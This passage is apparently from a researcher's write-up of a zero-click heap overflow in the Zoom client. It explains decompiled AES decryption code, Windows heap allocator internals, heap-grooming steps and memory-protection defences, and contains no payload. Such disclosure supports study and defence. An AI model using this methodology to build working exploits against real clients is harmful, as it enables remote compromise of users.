if ((*(uint *)(extraout_EDX + 4) < 0x20) || (*(uint *)(extraout_EDX + 0xc) < 0x10)) {
iVar5 = logging::GetMinLogLevel();
if (iVar5 < 2) {
logging::LogMessage::LogMessage
(local_d0, "c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1d6, 1);
local_8 = 0;
local_14 = 1;
uVar3 = log_message(iVar5 + 8, "[AESDecode] Failed. Key len or IV len is incorrect.", " ");
log_message(uVar3);
logging::LogMessage::~LogMessage(local_d0);
return 1;
}
return 1;
}
local_14 = param_1[2];
local_18 = 0;
iVar2 = EVP_CIPHER_CTX_new();
if (iVar2 == 0) {
return 0xc;
}
local_20 = iVar2;
EVP_CIPHER_CTX_reset(iVar2);
uVar3 = EVP_aes_256_cbc(0, *local_1c, local_1c[2], 0);
iVar4 = EVP_CipherInit_ex(iVar2, uVar3);
if (iVar4 < 1) {
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_d0,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1e8, 1);
iVar5 = 2;
local_8 = 1;
local_14 = 2;
uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherInit_ex Failed.", " ");
log_message(uVar3);
}
LAB_101ba758:
if (iVar5 == 0) goto LAB_101ba852;
this = local_d0;
} else {
iVar4 = EVP_CipherUpdate(iVar2, local_14, &local_18, *param_1, param_1[1]);
if (iVar4 < 1) {
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_d0,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1f0, 1);
iVar5 = 4;
local_8 = 2;
local_14 = 4;
uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherUpdate Failed.", " ");
log_message(uVar3);
}
goto LAB_101ba758;
}
param_1[3] = local_18;
iVar4 = EVP_CipherFinal_ex(iVar2, local_14 + local_18, &local_18);
if (0 < iVar4) {
param_1[3] = param_1[3] + local_18;
EVP_CIPHER_CTX_free(iVar2);
return 0;
}
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_180,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h",
0x1fb, 1);
iVar5 = 8;
local_8 = 3;
local_14 = 8;
uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherFinal_ex Failed.", " ");
log_message(uVar3);
}
if (iVar5 == 0) goto LAB_101ba852;
this = local_180;
}
logging::LogMessage::~LogMessage(this);
LAB_101ba852:
EVP_CIPHER_CTX_free(local_20);
return 0xc;
}
Line by line, in plain words. The names like iVar2 and local_14 are the disassembler's own labels, because the original names are gone; undefined4 means "four bytes of unknown type", and __fastcall is a calling convention, a rule for how arguments are passed.
undefined4 __fastcall AESDecode(undefined4 *param_1, undefined4 *param_2) {declares the function. It takes two pointers.param_1is an array of four values: input buffer, input length, output buffer, output length.param_2holds the key and IV information.- The block of variable declarations sets up local storage: two
LogMessagebuffers for building log entries, an integerlocal_20for the cipher context, a pointerlocal_1c, and several integers used as scratch values. uStack4 = 0x170;andlocal_8 = 0x101ba696;are stack cookies, a value placed on the stack and checked later to detect some kinds of overflow. They are a defence, but they only protect the stack, not the heap.iVar5 = 0; local_14 = 0; local_1c = param_2;initialise the scratch values and keep the key information inlocal_1c.cVar1 = FUN_101ba34a();calls another function, whose name the disassembler could not recover, and stores its result.if (cVar1 == '\0') { return 1; }means: if that function returns zero, give up and return 1, an error code.if ((*(uint *)(extraout_EDX + 4) < 0x20) || (*(uint *)(extraout_EDX + 0xc) < 0x10)) {checks the key and IV lengths.0x20is 32 and0x10is 16, the sizes AES-256 and its IV need. If either is too short, the function logs[AESDecode] Failed. Key len or IV len is incorrect.and returns 1. This is a real check, and it is the only length check in the function.local_14 = param_1[2];copies the output buffer address into a local variable. This is where the decrypted data will be written.local_18 = 0;initialises the variable that will receive the number of bytes written.iVar2 = EVP_CIPHER_CTX_new();asks OpenSSL for a new cipher context, the object that holds the state of an encryption or decryption operation.if (iVar2 == 0) { return 0xc; }handles the out-of-memory case.EVP_CIPHER_CTX_reset(iVar2);resets the context to a clean state.uVar3 = EVP_aes_256_cbc(0, *local_1c, local_1c[2], 0);selects AES-256 in CBC mode, passing the key and IV from the key information.iVar4 = EVP_CipherInit_ex(iVar2, uVar3);initialises the cipher with that choice. If it fails, the function logs[AESDecode] EVP_CipherInit_ex Failed.and jumps to the cleanup label.iVar4 = EVP_CipherUpdate(iVar2, local_14, &local_18, *param_1, param_1[1]);is the critical call. It decrypts the input buffer (*param_1, of lengthparam_1[1]) and writes the result tolocal_14, which is the output buffer. It stores the number of bytes written inlocal_18. Nothing here comparesparam_1[1]with the size of the output buffer. OpenSSL writes as much as the ciphertext decrypts to, and the output buffer is whatever was allocated earlier.param_1[3] = local_18;stores the number of bytes written into the output length field. This is the line the researchers point at:param_1[3]is written, never read. The function never asks "how big is the output buffer?" before writing to it.iVar4 = EVP_CipherFinal_ex(iVar2, local_14 + local_18, &local_18);finishes the decryption, handling any padding, and writes the final bytes after those already written. If it succeeds,param_1[3] = param_1[3] + local_18;adds the final count, the context is freed and the function returns 0, success.- The remaining blocks are error handling for a failed final step, with logging and cleanup, ending at
LAB_101ba852where the context is freed and0xcis returned.
The shape of the mistake is now visible. The function receives an output buffer and an output length field, but it never uses the length field as an input. It only writes the resulting length into it. The allocation of the buffer happened a few steps earlier, in a different function, and nothing between that allocation and EVP_CipherUpdate compares the incoming ciphertext length against the size of the destination. On the RSA path, that comparison existed. On the AES path, it did not.
The report does not say what the <encoded> element normally contains after decryption; from their understanding of the protocol the researchers assume it contains a key. It was easy to initiate the old version of the protocol against a new client. But to have a legitimate client initiate requires an old version of the client, which appears to be malfunctioning, as it can no longer log in. That is a small but useful detail: the attacker does not need an old client at all. The new client still answers the old protocol, and the attacker can play the part of the old client themselves.
About two weeks into the research, they had a buffer overflow they could trigger remotely without user interaction by sending a few chat messages to a user who had previously accepted an external contact request or is currently in the same multi-user chat. That is a strong position to be in, but a buffer overflow is not yet an exploit. The next sections are about turning it into one.
What the overflow can and cannot do
A buffer overflow is not yet an exploit. It is a capability: the ability to write some data past the end of a buffer. Whether that capability can be turned into running code depends on the details, and the researchers listed those details before building anything. Some of them help the attacker, some of them restrict what the attacker can do, and every one of them shapes the plan.
Think of it like being handed a tool. A hammer is useful, but only if you know how heavy it is, how long the handle is, and whether you are allowed to swing it. The list below is the researchers taking stock of their tool.
The advantages
-
Pro: The size is not directly bounded. It is implicitly bounded by the maximum size of an XMPP packet, but in practice that is far more than needed.
In plain words: the attacker can choose how much data to write past the end of the buffer, and the only limit is how large a single chat message can be. That limit is generous. If the attacker needs to overwrite 200 bytes of neighbouring memory, or 2,000, the message can carry that much. This is important because the amount of data needed to reach something interesting is not known in advance; a flexible size means the attacker can adapt.
-
Pro: The contents are the result of decrypting the buffer, so they can be arbitrary binary data, not limited to printable or non-zero characters.
In plain words: the bytes that land in memory can be anything at all, including bytes that are not letters, digits or punctuation, and including zero bytes. This matters more than it sounds. Many text-based attacks are limited to characters a person can type, which rules out most of the values a program uses internally. Here the attacker encrypts whatever bytes they want, and the victim's client decrypts them back into exactly those bytes. The attacker has full control over every byte written past the buffer.
-
Pro: It triggers automatically without user interaction, as long as the attacker and victim are contacts.
In plain words: the victim does not have to click, open or approve anything. The moment the crafted message arrives, the client processes it and the overflow happens. This is the zero-click property, and it is what makes the bug so valuable. It also means the attacker can try repeatedly without the victim noticing anything unusual.
The restrictions
-
Con: The size must be a multiple of the AES block size, 16 bytes. There can be padding at the end, but even when padding is present it will still overwrite the data up to a full block before removing the padding.
In plain words: AES works in blocks of 16 bytes, so the encrypted data is always a whole number of blocks long. The attacker cannot choose an arbitrary length such as 1,037 bytes; they can only choose multiples of 16. Padding at the end does not help, because the padding is only removed after the data has already been written. So the overflow length is quantised: 1,024, 1,040, 1,056 and so on. This is a real constraint, because the attacker may want to stop writing at an exact point, and they cannot.
-
Con: The heap allocation is of a fixed (and quite large) size: 1040 bytes. (The backing buffer of a
std::stringon Windows has up to 16 extra bytes for some reason.)In plain words: the buffer being overflowed is always the same size, 1,040 bytes. The 1,024 bytes are the string's own storage, and Windows adds up to 16 bytes of bookkeeping around it. The attacker cannot make the buffer smaller or larger to suit their plan. Whatever they want to overwrite has to sit immediately after a 1,040-byte block, and the overflow has to reach it from there.
-
Con: The buffer is allocated and then while handling the same packet used for the overflow. We can not place the buffer first, allocate something else and then overflow.
In plain words: the buffer is created, filled and overflowed all while the client is processing one incoming message. The attacker cannot say "create the buffer now, wait, let the program allocate something else next to it, and then overflow". The allocation and the overflow are welded together. This is the most restrictive point of all, because it means the attacker cannot simply arrange for a target object to be placed after the buffer. The target has to already be there, or the attacker has to arrange the memory in advance so that the next allocation lands where they want.
What the researchers expected to overwrite
With those properties in hand, the researchers thought about what they wanted to hit. They did not yet have a full plan for how to exploit the overflow, but they expected that they would most likely need to overwrite a function pointer or a vtable in an object.
A function pointer is a variable that holds the address of a function. Instead of calling a function by name, the program stores its address somewhere and later jumps to whatever address is stored there. This is how programs implement things like callbacks: the program does not know in advance which function to call, so it keeps the address and calls it when the time comes. If an attacker can overwrite that stored address, the program will jump wherever the attacker chooses. It is like swapping the phone number on a speed-dial button: the button still says "call the office", but it now calls someone else.
A vtable is a table of such addresses, one per function that an object supports. As explained earlier, a C++ object that uses virtual functions starts with a hidden pointer to its table, and every call through that pointer looks up the address in the table and jumps to it. Overwriting the vtable pointer, or an entry inside the table, redirects every call the object makes. This is a classic target for heap overflows, because objects with vtables are everywhere in C++ programs and the table is usually at a fixed offset from the start of the object.
The researchers already knew OpenSSL was used, and it uses function pointers within structs extensively. That made OpenSSL objects attractive: if they could place one of those objects after the overflowing buffer, overwriting its function pointers would give them control. They could even create a few such objects during the later handling of ResponseKey messages, which meant the timing might work out.
They investigated this, but it quickly turned out to be impossible due to the heap allocator in use. The reason is the subject of the next section, but the short version is this: Windows does not hand out memory in a single simple pool. It has two different allocators, and which one handles a given size depends on how often that size has been requested. The OpenSSL objects the researchers had found were all small, and small sizes were being handled by the allocator that randomises placement, which made the careful arrangement they needed impossible. Before they could go further, they had to understand that machinery in detail.
That is why the next part of the story is not about Zoom at all. It is about how Windows manages memory, and it is the part of the research that took the longest to get right.
How Windows manages memory
To place allocations deliberately, the researchers needed to understand how the Windows heap allocator works. This is the part of the story that has nothing to do with Zoom and everything to do with the operating system underneath it, and it is where a large share of the effort went.
The reason is the last restriction from the previous section: the overflowing buffer is allocated and used within one message, so the attacker cannot put a target object after it on demand. Instead, the attacker has to arrange the memory in advance so that when the 1,040-byte buffer is allocated, it lands exactly where they want, with the thing they want to overwrite immediately after it. Doing that requires knowing precisely how Windows chooses where a new allocation goes. Guessing is not enough, because a wrong guess means overwriting something harmless or crashing the client.
Two allocators and three definitions
Windows 10 includes two different heap allocators: the NT heap and the Segment Heap. An allocator is the part of the operating system that hands out memory when a program asks for it and takes it back when the program is done. It is the warehouse manager from the earlier comparison: programs ask for shelves of a certain size, and the manager decides which shelf to give them.
The Segment Heap is new in Windows 10 and only used for specific applications, which do not include Zoom, so the NT heap is what Zoom uses. That is good news for the researchers in one sense: the NT heap is older, better documented and more predictable than the newer one. It is also the allocator that most Windows programs have used for decades, so there is plenty of prior knowledge to draw on.
For allocations of less than about 16 kB, the NT heap has two allocators working together: the front-end allocator, known as the Low-Fragment Heap or LFH, and the back-end allocator. The 1,040-byte buffer is well under 16 kB, so it is handled by one of these two, and which one matters enormously.
Three definitions help before going into detail:
- Block: a memory area which can be returned by the allocator, either in use or not. A block is one shelf in the warehouse. It has a size, an address, and a state: either a program is using it, or it is free and waiting to be handed out.
- Bucket: a group of blocks handled by the LFH. A bucket is a set of shelves of similar sizes, kept together so the manager can find one quickly. All the blocks in a bucket are in the same size range, so any of them can satisfy a request for a size in that range.
- Page: a memory area assigned by the OS to a process. A page is the unit in which the operating system itself deals with memory, typically 4,096 bytes. When the allocator needs more room, it asks the operating system for another page, and the operating system maps one into the program's address space.
With those three words, the two allocators can be described.
The back-end allocator and the LFH
By default, the back-end allocator handles all allocations. The best way to imagine the back-end allocator is as a sorted list of all free blocks, the freelist. The freelist is exactly what its name says: a list of the blocks that are currently free, kept in order of size.
Whenever an allocation request is received for a specific size, the list is traversed until a block is found of at least the requested size. That block is removed from the list and returned. If the block was bigger than the requested size, it is split and the remainder is inserted in the list again. If no suitable blocks are present, the heap is extended by requesting a new page from the OS, inserting it as a new block at the appropriate location in the list.
In plain words: the manager walks down the list of free shelves until it finds one big enough, takes it off the list, and gives it to the program. If the shelf is bigger than needed, the manager saws it in half, hands over the piece that was asked for, and puts the leftover piece back on the list in its proper place by size. If no shelf is big enough, the manager asks the building for another room, adds it to the list, and uses it.
When an allocation is freed, the allocator first checks whether the blocks before and after it are also free. If one or both of them are, they are merged together. The block is inserted into the list again at the location matching its size.
In plain words: when a program gives a shelf back, the manager looks at the shelves on either side. If the neighbour is also free, the two are glued back together into one bigger shelf, because a big free shelf is more useful than two small ones. Then the combined shelf goes back on the list in size order. This merging is why the freelist does not fill up with tiny unusable fragments over time.
The following video shows how the allocator searches for a block of a specific size (orange), returns it and places the remainder back into the list (green).
The video walks through one allocation. The orange block is the free block the allocator finds when it walks the freelist looking for something big enough for the request. The allocator takes that block off the list, carves out the requested size from it, and returns that piece to the program. The green part is the remainder, the leftover of the orange block after the requested size has been cut out, and the video shows it being placed back into the freelist at the position matching its new, smaller size. Watching it once makes the splitting behaviour concrete: the allocator is not just handing out memory, it is maintaining a sorted list and keeping it consistent after every operation.
The back-end allocator is fully deterministic: if you know the state of the freelist at a certain time and the sequence of allocations and frees that follow, then you can determine the new state of the list. This is the property that makes it usable for exploitation. There is no randomness in which block is chosen; the choice follows from the list and the request. An attacker who can observe or predict the list can predict exactly where each allocation will land.
There are some other useful properties too, such as that allocations of a specific size are last-in-first-out: if you allocate a block, free it and immediately allocate the same size, then you will always receive the same address. Last-in-first-out means the most recently freed block is the first one handed out again. Think of a stack of plates: you put a clean plate on top, and the next person takes the plate from the top. For an attacker, this is a gift, because it means a free followed by an allocation of the same size is a reliable way to get a block back at a known address.
The front-end allocator, or LFH, is used for allocations for sizes that are used often, to reduce the amount of fragmentation. Fragmentation is what happens when free memory gets broken into many small pieces that are individually too small to be useful, even though the total free memory is large. The LFH exists to avoid that for the sizes a program uses constantly.
If more than 17 blocks of a specific size range are allocated and still in use, then the LFH will start handling that specific size from then on. This is the 17-allocation threshold, and it is one of the most important facts in the whole story. It means the choice of allocator is not fixed by the size alone; it depends on how the program has behaved. A size that starts on the back-end allocator can move to the LFH once the program has 18 or more live blocks of that size range. And, as the researchers later note, it cannot move back.
LFH allocations are grouped in buckets each handling a range of allocation sizes. When a request for a specific size is received, the LFH checks the bucket most recently used for an allocation of that size if it still has room. If it does not, it checks if there are any other buckets for that size range with available room. If there are none, a new bucket is created.
In plain words: the LFH keeps several buckets per size range, each bucket holding a set of slots. When a request comes in, it first tries the bucket it used last time, because that one is likely to have space and using it keeps related allocations together. If that bucket is full, it looks for another bucket of the same size range that still has room. If every bucket is full, it makes a new one. This is why the LFH is described as reducing fragmentation: it packs allocations of similar sizes into the same buckets instead of scattering them.
No matter if the LFH or back-end allocator is used, each heap allocation (of less than 16 kB) has a header of eight bytes. The first four bytes are encoded, the next four are not. The encoding uses a XOR with a random key, which is used as a security measure against buffer overflows corrupting heap metadata.
A header is a small piece of bookkeeping stored immediately before the block itself, recording things like the block's size and whether it is in use. Metadata is data about data: here, information about the memory block rather than the contents the program put in it. XOR is a simple mathematical operation on bits, short for exclusive or, with the useful property that applying it twice with the same key returns the original value. So the allocator takes the first four bytes of the header, XORs them with a random key, and stores the result; when it needs to read the header, it XORs again with the same key and gets the original back.
Why bother? Because a classic heap overflow trick is to overwrite the header of the next block, changing its recorded size, so that when the allocator later frees or merges blocks it does something the attacker wants. If the header is XOR-encoded with a random key the attacker does not know, the attacker cannot write a valid forged header. They would have to know the key. This is a real obstacle, and it is one of the reasons the researchers later chose a leak technique that did not depend on forging heap metadata.
For exploiting a heap overflow there are a number of things to consider. The back-end allocator can create adjacent allocations of arbitrary sizes. On the LFH, only objects in the same range are combined in a bucket, so to overwrite a block from a different range you would have to make sure two buckets are placed adjacent. In addition, which free slot from a bucket is used is randomised.
That last sentence is the crux of the difference. On the back-end allocator, placement is deterministic: the same sequence of operations gives the same layout. On the LFH, placement is randomised: when a request comes in, the LFH picks a free slot from the bucket, and which slot it picks is not predictable. For an attacker who needs two specific blocks to end up next to each other, randomness is the enemy. It means the same exploit attempt can succeed or fail depending on a coin flip inside the allocator.
Why the first OpenSSL objects were unusable
For these reasons the researchers focused initially on the back-end allocator. It is deterministic, it can place allocations of arbitrary sizes next to each other, and it has the last-in-first-out property that makes addresses predictable. If they could keep their 1,040-byte buffer and their target object on the back-end allocator, the plan from the previous section would work.
They quickly realised they could not use any of the OpenSSL objects they had found earlier. When Zoom is launched in a clean state, with no existing chat history, all sizes up to around 700 bytes, and many common sizes above that too, are already handled by the LFH. It is impossible to switch a specific size back from the LFH to the back-end allocator.
This is worth pausing on, because it is counter-intuitive. You might expect that a freshly started program has an empty heap and that everything starts on the back-end allocator. In reality, a large application like Zoom allocates thousands of small objects during startup: configuration, UI elements, buffers, strings, network state. By the time the user sees a window, many size ranges have already crossed the 17-allocation threshold and moved to the LFH. The heap is not a blank slate; it is a busy warehouse that has been in use since the program started.
The OpenSSL objects the researchers identified initially were therefore impossible to allocate after the overflowing block, as they were all less than 700 bytes and so guaranteed to be placed in an LFH bucket. "Guaranteed" is the important word. It is not that they would probably be placed there; it is that the size range had already moved to the LFH and could not move back, so every allocation of that size would go into a bucket, with randomised slot selection, and the careful adjacency the exploit needed could not be arranged.
That meant searching more thoroughly for objects of larger sizes in which a function pointer or vtable might be overwritten. The target had to be big enough that its size range was still on the back-end allocator, or at least big enough that the researchers could work with it. This is a different kind of search from the one they had been doing: instead of looking for any object with a function pointer, they were looking for objects of a particular size, in a particular range, that the program would create at a time the attacker could influence.
One of the other DLLs, zWebService.dll, includes a copy of libcurl, which gave the researchers some extra source code to analyse. libcurl is a widely used open-source library for making web requests, the same kind of component that handles the HTTPS traffic the researchers had been intercepting. Because it is open source, its source code is public, and the researchers could read it.
Analysing source code was much more efficient than having to obtain information about a C++ object's layout from a decompiler. A decompiler is a tool that tries to turn machine code back into something resembling source code, and it is useful but imperfect: it produces anonymous variables, guessed types and no names. Reading the real source of libcurl told the researchers exactly what each structure contained, in what order, and how big it was, without any guessing. This did give them some interesting objects to overflow that would not automatically be on the LFH.
So by this point the researchers had a bug, a rough idea of what to overwrite, and a growing understanding of the allocator. What they did not have was a way to make the allocator put their target where they needed it. That is the subject of the next section: heap grooming.
Heap grooming on the back-end allocator
Heap grooming is the art of arranging a program's memory before the attack, so that when the attack happens, the pieces land where the attacker wants them. The word "grooming" is deliberate: it is the same idea as tidying a room before guests arrive, or setting a table before the meal. You are not doing anything dramatic; you are moving things around so that the important moment goes smoothly.
The reason grooming is needed at all comes from the last restriction in the overflow's properties list: the 1,040-byte buffer is allocated and used within the handling of one message. The attacker cannot say "allocate the buffer now, wait a moment, let the program allocate something else next to it, and then overflow". The buffer and the overflow are welded together. So the only way to get a target object immediately after the buffer is to arrange the memory in advance, so that when the buffer is allocated, it lands exactly where the attacker wants, with the target already sitting right after it.
On the back-end allocator, this is at least theoretically possible, because the back-end allocator is deterministic. If you know the state of the freelist and the sequence of allocations and frees that follow, you can predict exactly where each allocation will land. The problem is getting the freelist into the right state, and that is what grooming is for.
The four-step procedure
The researchers assumed they needed to follow the following procedure:
- Allocate a temporary object of 1040 bytes.
- Allocate the object we want to overwrite after it.
- Free the object of 1040 bytes.
- Perform the overflow, hopefully at the same address as the 1040 byte object.
In plain words, step by step:
- Allocate a temporary object of 1,040 bytes. This is a placeholder, a stand-in for the buffer that will later be overflowed. It is the same size as the real buffer, so the allocator treats it the same way. The point is to reserve a spot in memory of exactly the right size, at a moment when the attacker can control what happens next.
- Allocate the object we want to overwrite after it. Because the back-end allocator is deterministic and the temporary object has just been placed, the next allocation of a suitable size will land immediately after it. That is the target object, the one with the function pointer or vtable the attacker wants to overwrite.
- Free the object of 1,040 bytes. Now the temporary object is gone, and its space is back on the freelist. But the target object is still there, immediately after where the temporary object used to be.
- Perform the overflow, hopefully at the same address as the 1,040 byte object. When the crafted message arrives, the client allocates a new 1,040-byte buffer. Because the back-end allocator is last-in-first-out, and the temporary object was just freed, the new buffer lands in exactly the same place the temporary object was. The overflow then writes past the end of that buffer, straight into the target object that was placed after it in step 2.
The whole plan is a kind of choreography. The temporary object is a stand-in, the target object is the real victim, and the overflow is the moment the two meet. If everything goes right, the attacker's data lands on the target's function pointer, and the next time the program calls through that pointer, it jumps where the attacker wants.
Why the freelist has to be filled first
For this to work, the researchers needed to be able to make an allocation of 1,040 bytes that they could free at a precise later time. That is the first requirement, and it is not trivial: the attacker does not have a button that says "allocate 1,040 bytes". They have to find some feature of Zoom that causes the client to allocate a block of that size, and then find a way to free it on demand.
But even more importantly, for this to work they would also need to fill up many holes in the freelist so their two objects would end up adjacent. If we want to allocate the objects directly adjacent, then in the first step there needs to be a free block of size 1040 + x, with x the size of the other object. But this means that there must not be any other allocations of size between 1040 and 1040 + x, otherwise that block would be used instead. This means there is a pretty large range of sizes for which there must not be any free blocks available.
In plain words: the back-end allocator picks the first free block in the freelist that is big enough. If the attacker wants a block of 1,040 bytes to be placed immediately before a target of size x, the allocator has to find a free block of at least 1,040 + x bytes, split it, and hand out the first 1,040 bytes. But if there is any free block of a size between 1,040 and 1,040 + x anywhere in the freelist, the allocator will pick that one instead, because it is smaller and comes earlier in the size-ordered list. The result is that the 1,040-byte allocation lands somewhere else, and the target object is not adjacent.
So the attacker has to make sure that the freelist contains no free blocks in that whole range of sizes. That is the "filling up holes" part. Every free block in the range has to be consumed by some other allocation, so that the only block big enough for the 1,040-byte allocation is one that is also big enough to hold the target object after it. This is a lot of work, and it is why heap grooming is described as extensive.
The key-identifier allocation primitive
To make arbitrary sized allocations, the researchers stayed close to what they already knew. As we mentioned, if you send an encrypted message with a key identifier the other user does not yet have, then it will request that key. We noticed that this key identifier remained in a std::string in memory, likely because it was waiting for a response. It could be an arbitrary large size, so we had a way to make an allocation.
A primitive in exploitation is a small, reliable capability that can be used as a building block. It is like a single Lego brick: not useful on its own, but the foundation for everything you build. The primitive here is "make the victim's client allocate a block of a size I choose, holding data I choose".
The mechanism is the RequestKey message from the previous section. When the attacker sends an encrypted message with a key identifier the victim does not have, the victim's client automatically sends a RequestKey message back, and it keeps the key identifier in memory while it waits for the answer. The key identifier is a string, and the attacker chooses its length. So by sending a message with a key identifier of a particular length, the attacker makes the victim's client allocate a std::string of that length. That is the allocation primitive.
It is also possible to revoke chat messages in Zoom, which would also free the pending key request. This gave us a primitive for allocating and freeing a specific size block. Revoking a message means withdrawing it, the way you might delete a message you sent by mistake. In Zoom, revoking a message causes the client to clean up the pending key request associated with it, which frees the std::string that was holding the key identifier. So the attacker now has both halves of the primitive: send a message to allocate, revoke it to free.
But it was quite crude: it would always allocate 2 copies of that string (for some reason), and in order to handle a new incoming message it would make quite a few temporary copies.
This is the part that makes grooming hard. The attacker asks for one allocation of a chosen size, and the client makes two, plus a handful of temporary copies while it processes the message. Each of those is a separate allocation that lands somewhere in the heap, and each one changes the state of the freelist in ways the attacker did not intend. It is like trying to place one book on a shelf and finding that the librarian has also put two copies of it and a few scraps of paper on nearby shelves. The primitive works, but it is noisy, and the noise has to be accounted for.
Watching the heap with Frida
They spent a lot of time making allocations by sending messages and monitoring the state of the freelist. For this, we wrote Frida scripts for tracking allocations, printing the freelist and checking the LFH status. These things can all be done by WinDBG, but we found it way too slow to be of use.
Frida is a tool that lets you inject your own JavaScript into a running program to observe and modify what it does. The researchers used it to watch every allocation and free as it happened, print the current state of the freelist, and check whether a given size range had moved to the LFH. This is the equivalent of having a live camera in the warehouse, showing every shelf being taken and returned. Without it, grooming would be blind guesswork: you would send messages and hope, with no idea whether the heap ended up in the state you wanted.
WinDBG is Microsoft's debugger, and it can do all of the same things. But a debugger is designed for stepping through a program slowly and carefully, and this project needed to observe thousands of allocations in quick succession. The researchers found WinDBG far too slow to be of use, which is a common experience in heap research: the volume of events is so high that a tool built for careful inspection cannot keep up.
The 17-allocation LFH trick
There was one nice trick we could use: if specific allocations could get in the way of our heap grooming, then we could trigger the LFH for that size to make sure it would no longer affect the freelist by making the client perform at least 17 allocations of that size.
This is a clever use of the 17-allocation threshold from the previous section. Recall that once more than 17 blocks of a specific size range are allocated and still in use, the LFH takes over that size range and handles it from then on. The LFH does not use the freelist; it uses buckets. So if some size range is causing trouble, because its free blocks keep getting in the way of the grooming, the attacker can deliberately push that size range onto the LFH by making the client allocate at least 18 blocks of that size and keeping them alive. From then on, that size range no longer touches the freelist, and the grooming can proceed without interference.
In plain words: if a particular shelf size keeps cluttering up the warehouse's main list, you can move all shelves of that size into a separate room. The main list is now clean, and you can arrange the shelves you care about without the clutter getting in the way. The cost is that you can no longer control placement for that size range, because the separate room randomises which slot you get. But if you did not care about that size range anyway, the trade is a good one.
The 25% failure that grew worse
They spent a lot of time on this, but we ran into a problem. Sometimes, randomly, our allocation of 1040 bytes would already be placed on the LFH, even if we launched the application in a clean state.
This is the counter-intuitive part from the previous section, now biting in practice. Even with no chat history, Zoom's startup allocates enough blocks in the 1,025 to 1,088 byte range that the LFH sometimes takes over that range before the attacker sends a single message. When that happens, the 1,040-byte buffer is placed in a bucket with randomised slot selection, and the careful back-end grooming is useless. The exploit cannot work.
At first, we accepted this risk: a chance of around 25% to fail is still quite acceptable for the 3 attempts in Pwn2Own.
Pwn2Own gives each team a small number of attempts, and the researchers had 3. A 25% chance of failure on each attempt still leaves a good chance of succeeding at least once across three tries. So at first, the risk seemed acceptable.
But the more concrete our grooming became, the more additional objects and sizes we needed, such as for the objects from libcurl we might want to overwrite. With more sizes, it would get more and more likely that at least of one of them would be handled by the LFH already, completely breaking our exploit.
This is the key insight, and it is worth spelling out. The 25% failure was for one size range, the 1,040-byte buffer. But the full exploit needed more than one size range: the target object had its own size, the libcurl objects had theirs, and the grooming had to work for all of them at once. Each size range had its own chance of having already moved to the LFH at startup. If each one has, say, a 25% chance of being on the LFH, then the chance that at least one of them is on the LFH is much higher than 25%. With two sizes it is close to 44%, with three it is close to 58%, and so on. The failure probability compounds.
We weren't very keen on participating with a exploit that had already failed 75% of the time by the time the application had finished launching.
That is the conclusion: by the time Zoom had finished starting up, the exploit had a 75% chance of being impossible, before the attacker had sent a single message. A 75% failure rate is not acceptable even with three attempts, because the failures are not independent: if the heap is in the wrong state at startup, it stays in the wrong state for the whole attempt. The researchers had spent a few weeks on trying to gain control over this, but eventually decided to try something else.
That "something else" is the subject of the next section: instead of fighting the LFH, they moved the overflow onto it deliberately, and learned to work with its randomisation rather than against it.
Moving the overflow to the LFH
The defences in play
Before describing how the researchers moved the overflow onto the LFH, it helps to know what defences they were up against, because those defences shaped the plan. A modern Windows program is not just the program itself; it sits inside a set of protections that the operating system and the compiler provide. Each one is designed to make exploitation harder, and each one has to be understood, and where possible defeated, before an overflow can become code execution.
The researchers listed three:
- ASLR (Address Space Layout Randomization). This means that DLL's are loaded in random locations and the location of the heap and stack are also randomized. However, because Zoom was a 32-bit application, there is not a very large range of possible addresses for DLL's and for the heap.
- DEP (Data Execution Prevention). This meant that there were no memory pages present that were both writable and executable.
- CFG (Control Flow Guard). This is a relatively new technique that is used to check that function pointers and other dynamic addresses point to a valid start location of a function.
Here is each one from zero.
ASLR is the defence against an attacker knowing where things are. Without it, a program's code and data would load at the same addresses on every machine, every time. An attacker who studied one copy of the program would know exactly where every function lives, and could simply write that address into an overflow. ASLR breaks that by shuffling the layout at each launch: the program's DLLs, its heap and its stack all land at different addresses each time. Think of a city where every building is moved to a new street every morning. A burglar who studied the map last week finds that the map is useless today.
The cost of ASLR to an attacker is that they cannot hard-code addresses. If they want to jump to a function, they first have to find out where that function actually is in this particular run. That is why the next major step in the story is an information leak: a way to make the program reveal one real address, from which the rest can be calculated.
The researchers note an important weakness: Zoom was a 32-bit application. A 32-bit application is one built for a processor mode where memory addresses are 32 bits wide, which means the program can only use addresses up to about 4 gigabytes. That is a small space compared with the 64-bit world, where addresses are vastly more numerous. With fewer possible addresses, ASLR has fewer places to hide things, and an attacker who can make many guesses has a better chance of one being right. This detail matters twice later: once for the information leak, and once for the GIF trick that guesses an address.
DEP is the defence against an attacker putting their own code into memory and running it. In older systems, memory pages could be both writable and executable: a program could write data into a page and then jump to it as if it were code. That made exploitation simple, because the attacker only had to get their machine code into memory and redirect execution to it. DEP removes that option by marking pages as either writable or executable, never both. Data pages can be written but not run; code pages can be run but not written. Think of a library where the reading room and the writing room are separate: you can write a note, or you can read a book, but you cannot write a note and then immediately read it aloud as if it were a book.
The consequence for an attacker is that they cannot simply place shellcode in a buffer and jump to it. They have to find another way to run code, which is why the researchers later use a technique called return-oriented programming to call existing functions, and why they eventually call VirtualProtect, a Windows function that changes a page's permissions, to make their GIF data executable. DEP is not defeated; it is worked around by asking the operating system, through a legitimate function, to grant execute permission.
CFG is the defence against an attacker redirecting a function pointer to an arbitrary address. It is the newest of the three, and it is the one with the weakness that made this exploit possible.
CFG works by inserting a check (guard_check_icall) before all dynamic function calls which looks up the address that is about to be called in a list of valid function start addresses. If it is valid, the call is allowed. If not, an exception is raised.
